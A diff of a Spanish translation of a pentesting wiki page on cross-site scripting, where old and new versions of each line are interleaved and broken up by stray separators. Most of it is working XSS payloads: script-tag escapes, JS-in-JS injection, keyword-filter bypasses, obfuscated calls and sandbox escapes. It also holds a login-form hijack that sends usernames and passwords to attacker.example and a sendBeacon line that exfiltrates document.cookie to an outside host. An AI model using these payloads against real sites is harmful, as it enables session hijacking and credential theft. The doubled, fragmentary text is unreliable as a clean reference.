### Blacklist Bypasses
|
||||
|
||||
Varios trucos usando diferentes codificaciones ya se expusieron dentro de esta sección. Vuelve **atrás para aprender dónde puedes usar:**
|
||||
Se expusieron varios trucos usando diferentes codificaciones ya dentro de esta sección. Vuelve atrás para aprender dónde puedes usar:
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (puede ser código JS válido):** `\u0061lert(1)`
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
- **URL encoding**
|
||||
- **Hex and Octal encoding**
|
||||
- **data encoding**
|
||||
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
Lee la[ Blacklist Bypasses de la sección anterior](#blacklist-bypasses).
|
||||
Lee la[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
Lee la [JavaScript bypass blacklist de la sección siguiente](#javascript-bypass-blacklists-techniques).
|
||||
Lee la J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Si encuentras un **XSS en una parte muy pequeña** del sitio que requiere algún tipo de interacción (quizá un pequeño enlace en el footer con un elemento onmouseover), puedes intentar **modificar el espacio que ocupa ese elemento** para maximizar las probabilidades de que el enlace se dispare.
|
||||
Si encuentras un **XSS en una parte muy pequeña** del sitio que requiere algún tipo de interacción (tal vez un pequeño enlace en el pie de página con un elemento onmouseover), puedes intentar **modificar el espacio que ocupa ese elemento** para maximizar la probabilidad de que el enlace se dispare.
|
||||
|
||||
Por ejemplo, podrías añadir algún estilo al elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Por ejemplo, podrías añadir algo de estilo al elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Pero, si el WAF está filtrando el atributo style, puedes usar CSS Styling Gadgets, así que si encuentras, por ejemplo
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
and
|
||||
y
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Ahora puedes modificar nuestro enlace y llevarlo a la forma
|
||||
Ahora puedes modificar el enlace y llevarlo a la forma
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
Este truco fue tomado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Inyectando dentro de código JavaScript
|
||||
## Inyectando dentro del código JavaScript
|
||||
|
||||
En estos casos tu **input** será **reflejado dentro del código JS** de un archivo `.js` o entre etiquetas `<script>...</script>` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`.
|
||||
En estos casos tu **input** va a ser **reflejado dentro del código JS** de un archivo `.js` o entre etiquetas `<script>...</script>` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`.
|
||||
|
||||
### Escapando la etiqueta \<script>
|
||||
|
||||
Si tu código es insertado dentro de `<script> [...] var input = 'reflected data' [...] </script>` podrías fácilmente **escapar cerrando la etiqueta `<script>`**:
|
||||
Si tu código se inserta dentro de `<script> [...] var input = 'reflected data' [...] </script>` podrías fácilmente **escapar cerrando la etiqueta `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis HTML se realiza primero por el navegador**, lo que implica identificar elementos de la página, incluidos bloques de script. El parseo de JavaScript para entender y ejecutar los scripts incrustados se lleva a cabo solo después.
|
||||
Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se realiza después.
|
||||
|
||||
### Inside JS code
|
||||
### Dentro del código JS
|
||||
|
||||
Si `<>` están siendo sanitised todavía puedes **escapar la cadena** donde se encuentra tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay errores, el código JS no se ejecutará:
|
||||
Si `<>` están siendo sanitizados puedes aún **escapar la cadena** donde se está **ubicando** tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay errores, el código JS no se ejecutará:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -497,7 +497,7 @@ Si `<>` están siendo sanitised todavía puedes **escapar la cadena** donde se e
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
Cuando la entrada del usuario cae dentro de una cadena JavaScript entrecomillada (p. ej., echo del lado del servidor dentro de un inline script), puedes terminar la cadena, inyectar código y reparar la sintaxis para mantener el parsing válido. Esqueleto genérico:
|
||||
Cuando la entrada del usuario cae dentro de una cadena JavaScript entre comillas (p. ej., eco del lado del servidor dentro de un script en línea), puedes terminar la cadena, inyectar código y reparar la sintaxis para que el parseo siga siendo válido. Esqueleto genérico:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
@ -508,11 +508,12 @@ Ejemplo de patrón de URL cuando el parámetro vulnerable se refleja en una cade
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
Esto ejecuta JS del atacante sin necesitar tocar el contexto HTML (pure JS-in-JS). Combina con los blacklist bypasses abajo cuando los filtros bloqueen palabras clave.
|
||||
Esto ejecuta JS del atacante sin necesidad de tocar el contexto HTML (pure JS-in-JS). Combínalo con blacklist bypasses más abajo cuando los filtros bloqueen palabras clave.
|
||||
|
||||
### Literales de plantilla \`\`
|
||||
|
||||
Para construir **strings**, además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla ya que permiten **incrustar expresiones JS** usando la sintaxis `${ ... }`.\ Por lo tanto, si encuentras que tu entrada se está **reflejando** dentro de una JS string que usa backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla ya que permiten **incrustar expresiones JS** usando la sintaxis `${ ... }`.\
|
||||
Por lo tanto, si descubres que tu entrada está siendo **reflejada** dentro de una cadena JS que usa backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
|
||||
Esto puede ser **abusado** usando:
|
||||
```javascript
|
||||
@ -526,21 +527,21 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Encoded code execution
|
||||
### Ejecución de código codificado
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
#### Payloads entregables con eval(atob()) y matices de scope
|
||||
#### Entregable payloads con eval(atob()) y matices de ámbito
|
||||
|
||||
Para mantener las URLs más cortas y sortear filtros de palabras clave ingenuos, puedes codificar tu lógica real en base64 y evaluarla con `eval(atob('...'))`. Si un filtrado sencillo de palabras clave bloquea identificadores como `alert`, `eval` o `atob`, usa identificadores escapados en Unicode que compilan idénticamente en el navegador pero evaden los filtros por coincidencia de cadenas:
|
||||
Para mantener las URLs más cortas y eludir filtros de palabras clave ingenuos, puedes codificar en base64 tu lógica real y evaluarla con `eval(atob('...'))`. Si el filtrado simple por palabras clave bloquea identificadores como `alert`, `eval` o `atob`, usa identificadores con escapes Unicode que compilan de forma idéntica en el navegador pero evaden filtros de coincidencia de cadenas:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
Matiz importante sobre el alcance: `const`/`let` declarados dentro de `eval()` son block-scoped y NO crean globals; no serán accesibles para scripts posteriores. Usa un elemento `<script>` inyectado dinámicamente para definir hooks globales no reasignables cuando sea necesario (p. ej., para hijack a form handler):
|
||||
Matiz importante sobre el alcance: `const`/`let` declarados dentro de `eval()` tienen alcance de bloque y NO crean globales; no serán accesibles para scripts posteriores. Usa un elemento `<script>` inyectado dinámicamente para definir hooks globales no re-asignables cuando sea necesario (p. ej., para hijack un form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
@ -548,13 +549,13 @@ document.head.appendChild(s);
|
||||
```
|
||||
Referencia: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Codificación Unicode para ejecución de JS
|
||||
### Codificar Unicode para ejecución JS
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### Técnicas de JavaScript bypass blacklists
|
||||
### Técnicas de bypass de blacklists en JavaScript
|
||||
|
||||
**Strings**
|
||||
```javascript
|
||||
@ -573,7 +574,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
||||
atob("dGhpc2lzYXN0cmluZw==")
|
||||
eval(8680439..toString(30))(983801..toString(36))
|
||||
```
|
||||
**Escapes especiales**
|
||||
**Secuencias de escape especiales**
|
||||
```javascript
|
||||
"\b" //backspace
|
||||
"\f" //form feed
|
||||
@ -587,12 +588,12 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
"\t" //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**Sustituciones de espacios dentro del código JS**
|
||||
**Sustituciones de espacios dentro de JS code**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Comentarios de JavaScript (del** [**JavaScript Comments**](#javascript-comments) **truco)**
|
||||
**JavaScript comments (de** [**JavaScript Comments**](#javascript-comments) **truco)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -600,7 +601,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript new lines (del** [**JavaScript new line**](#javascript-new-lines) **truco)**
|
||||
**JavaScript new lines (de** [**JavaScript new line**](#javascript-new-lines) **truco)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -715,7 +716,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Llamada arbitraria a una función (alert)**
|
||||
**Llamada arbitraria a la función (alert)**
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
@ -777,8 +778,8 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **Vulnerabilidades DOM**
|
||||
|
||||
Hay **JS code** que está usando **datos controlados de forma insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
||||
**Debido a la extensión de la explicación de** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
Hay **JS code** que está usando **datos de forma insegura controlados por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
||||
**Debido a la extensión de la explicación de** [**las vulnerabilidades DOM se movieron a esta página**](dom-xss.md)**:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -786,44 +787,55 @@ dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
|
||||
También, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
También, no olvides que **al final de la entrada mencionada** puedes encontrar una explicación sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Escalando Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Si puedes desencadenar un XSS enviando el payload dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de ese XSS para inyectar una cookie en todo el dominio, logrando activar el cookie XSS en el dominio principal u otros subdominios (los que sean vulnerables a cookie XSS). Para esto puedes usar el cookie tossing attack:
|
||||
Si puedes trigger un XSS enviando el payload dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de ese XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los que son vulnerables a cookie XSS). Para esto puedes usar el cookie tossing attack:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Puedes encontrar un gran abuso de esta técnica en [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Puedes encontrar un gran abuso de esta técnica en [**esta entrada del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Enviar tu sesión al administrador
|
||||
### Enviando tu sesión al administrador
|
||||
|
||||
Quizá un usuario pueda compartir su perfil con el administrador y si el self XSS está dentro del perfil del usuario y el administrador lo accede, éste desencadenará la vulnerabilidad.
|
||||
Quizás un usuario pueda compartir su perfil con el administrador y, si el self XSS está dentro del perfil del usuario y el administrador lo accede, se disparará la vulnerabilidad.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Si encuentras algún self XSS y la web tiene **session mirroring for administrators**, por ejemplo permitiendo a clientes pedir ayuda y para que el administrador te ayude él verá lo que tú estás viendo en tu sesión pero desde su sesión.
|
||||
Si encuentras un self XSS y la web tiene un **session mirroring for administrators**, por ejemplo permitiendo a los clientes pedir ayuda y, para que el administrador te ayude, él verá lo que estás viendo en tu sesión pero desde su propia sesión.
|
||||
|
||||
Podrías conseguir que el administrador desencadene tu self XSS y robar sus cookies/sesión.
|
||||
Podrías hacer que el **administrador dispare tu self XSS** y robar sus cookies/sesión.
|
||||
|
||||
## Otros Bypasses
|
||||
|
||||
### Bypassing sanitization via WASM linear-memory template overwrite
|
||||
|
||||
Cuando una web app usa Emscripten/WASM, las cadenas constantes (como stubs de formato HTML) residen en memoria lineal escribible. Un único desbordamiento dentro del WASM (p. ej., memcpy sin comprobar en una ruta de edición) puede corromper estructuras adyacentes y redirigir escrituras hacia esas constantes. Sobrescribir una plantilla como "<article><p>%.*s</p></article>" por "<img src=1 onerror=%.*s>" convierte la entrada sanitizada en un valor de handler de JavaScript y produce un DOM XSS inmediato al renderizar.
|
||||
|
||||
Consulta la página dedicada con el flujo de explotación, DevTools memory helpers y defensas:
|
||||
|
||||
{{#ref}}
|
||||
wasm-linear-memory-template-overwrite-xss.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Unicode normalizado
|
||||
|
||||
Puedes comprobar si los **valores reflejados** están siendo **normalizados en Unicode** en el servidor (o en el cliente) y abusar de esta funcionalidad para eludir protecciones. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Puedes comprobar si los **valores reflejados** están siendo **unicode normalized** en el servidor (o en el cliente) y abusar de esta funcionalidad para evadir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### Bypass del flag PHP FILTER_VALIDATE_EMAIL
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Debido a **RoR mass assignment** se insertan comillas en el HTML y así se evita la restricción de comillas, permitiendo añadir campos adicionales (onfocus) dentro de la etiqueta.\
|
||||
Debido a **RoR mass assignment** se insertan comillas en el HTML y entonces la restricción de comillas se evade y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
|
||||
Ejemplo de formulario ([from this report](https://hackerone.com/reports/709336)), si envías el payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -864,24 +876,24 @@ Entonces, se insertará el atributo onfocus y ocurrirá XSS.
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
### XSS con header injection en una respuesta 302
|
||||
|
||||
Si descubres que puedes **inject headers in a 302 Redirect response** podrías intentar **hacer que el browser ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el HTTP response body si el HTTP response status code es un 302, por lo que un simple cross-site scripting payload es inútil.
|
||||
Si encuentras que puedes **inject headers in a 302 Redirect response** podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el HTTP response body si el HTTP response status code es 302, así que un cross-site scripting payload por sí solo es inútil.
|
||||
|
||||
En [**this report**](https://www.gremwell.com/firefox-xss-302) y [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del Location header y ver si alguno permite al browser inspeccionar y ejecutar el XSS payload dentro del body.\
|
||||
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del Location header y ver si alguno permite al navegador inspeccionar y ejecutar el XSS payload dentro del body.\
|
||||
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### Solo letras, números y puntos
|
||||
|
||||
Si puedes indicar el **callback** que javascript va a **execute** limitado a esos caracteres. [**Read this section of this post**](#javascript-function) para ver cómo abusar de este behaviour.
|
||||
Si puedes indicar el **callback** que javascript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de este post**](#javascript-function) para ver cómo abusar de este comportamiento.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
### Content-Types válidos de `<script>` para XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si intentas cargar un script con un **content-type** como `application/octet-stream`, Chrome lanzará el siguiente error:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Los únicos **Content-Type**s que permitirán a Chrome ejecutar un **loaded script** son los que están dentro de la const **`kSupportedJavascriptTypes`** en [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Los únicos **Content-Type**s que permitirán a Chrome ejecutar un **loaded script** son los que están dentro de la const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -903,16 +915,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Script Types to XSS
|
||||
### Tipos de Script para XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Entonces, ¿qué tipos podrían indicarse para cargar un script?
|
||||
(Desde [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Entonces, ¿qué tipos podrían indicarse para cargar un script?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
La respuesta es:
|
||||
|
||||
- **module** (por defecto, nada que explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar varios datos (HTML, CSS, JS…) en un archivo **`.wbn`**.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un conjunto de datos (HTML, CSS, JS…) en un archivo **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -922,7 +934,7 @@ La respuesta es:
|
||||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** Permite mejorar la sintaxis de import
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** Permite mejorar la sintaxis de importación
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
@ -939,9 +951,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Este comportamiento se usó en [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval y, al abusar de ella, puede desencadenar XSS.
|
||||
Este comportamiento se utilizó en [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) para reasignar una librería a eval; abusar de esto puede desencadenar XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta característica sirve principalmente para resolver algunos problemas causados por el pre-rendering. Funciona así:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta característica está pensada principalmente para resolver algunos problemas causados por el pre-renderizado. Funciona así:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -959,22 +971,22 @@ Este comportamiento se usó en [**this writeup**](https://github.com/zwade/yaca/
|
||||
```
|
||||
### Content-Types web para XSS
|
||||
|
||||
(Desde [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes content types pueden ejecutar XSS en todos los navegadores:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? not in the list but I think I saw this in a CTF)
|
||||
- text/plain (?? no está en la lista pero creo haberlo visto en un CTF)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
En otros navegadores otros **`Content-Types`** se pueden usar para ejecutar JS arbitrario, revisa: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
En otros navegadores otros **`Content-Types`** pueden usarse para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Tipo de contenido xml
|
||||
### xml Content Type
|
||||
|
||||
Si la página devuelve un content-type text/xml, es posible indicar un namespace y ejecutar JS arbitrario:
|
||||
Si la página devuelve un content-type text/xml es posible indicar un namespace y ejecutar JS arbitrario:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -982,9 +994,9 @@ Si la página devuelve un content-type text/xml, es posible indicar un namespace
|
||||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Patrones de Reemplazo Especiales
|
||||
### Patrones especiales de reemplazo
|
||||
|
||||
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**. El atacante podría usar [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar bypassear algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Cuando se usa algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**, el atacante podría usar [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) para intentar evadir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Por ejemplo, en [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se usó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.
|
||||
|
||||
@ -997,7 +1009,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
Si solo tienes un conjunto limitado de chars para usar, revisa estas otras soluciones válidas para problemas de XSJail:
|
||||
Si solo dispones de un conjunto limitado de caracteres para usar, consulta estas otras soluciones válidas para problemas de XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1028,7 +1040,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Si **everything is undefined** antes de ejecutar código no confiable (como en [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
|
||||
Si **todo está undefined** antes de ejecutar código no confiable (como en [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) es posible generar objetos útiles "de la nada" para abusar de la ejecución de código arbitrario no confiable:
|
||||
|
||||
- Usando import()
|
||||
```javascript
|
||||
@ -1037,7 +1049,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accediendo a `require` indirectamente
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js envuelve los módulos dentro de una función, así:
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js envuelve los módulos en una función, así:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1097,7 +1109,7 @@ trigger()
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
- JSFuck más sofisticado: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
- Más sofisticado JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||||
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||||
@ -1271,7 +1283,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS common payloads
|
||||
## Payloads comunes de XSS
|
||||
|
||||
### Varios payloads en 1
|
||||
|
||||
@ -1282,7 +1294,7 @@ steal-info-js.md
|
||||
|
||||
### Trampa de iframe
|
||||
|
||||
Haz que el usuario navegue por la página sin salir del iframe y roba sus acciones (incluida la información enviada en formularios):
|
||||
Forzar al usuario a navegar en la página sin salir del iframe y robar sus acciones (incluida la información enviada en formularios):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1312,8 +1324,8 @@ Haz que el usuario navegue por la página sin salir del iframe y roba sus accion
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> **No podrás acceder a las cookies desde JavaScript** si la flag HTTPOnly está establecida en la cookie. Pero aquí tienes [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) si tienes suerte.
|
||||
|
||||
